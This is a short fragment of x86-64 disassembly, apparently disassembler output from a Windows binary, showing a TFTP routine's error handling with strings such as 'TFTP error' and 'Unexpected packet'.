mov rbx, qword [rsp + 0xf8]
jae case.0x140038a8c.4
mov r8, r14
lea rdx, str.TFTP_error:__s
mov rcx, rbp
call fcn.14001bd70
jmp case.0x140038a8c.4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rdi
call fcn.1400386c0
mov esi, eax
test eax, eax
je case.0x140038a8c.4
jmp 0x140038a33
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rbp
lea rdx, [0x14006a134]
call fcn.14001bc80
mov rcx, rbp
call fcn.14002f0d0
test eax, eax
je 0x140038a31
mov edx, 5
mov rcx, rdi
call fcn.140039580
mov eax, 0x2a
jmp 0x140038a33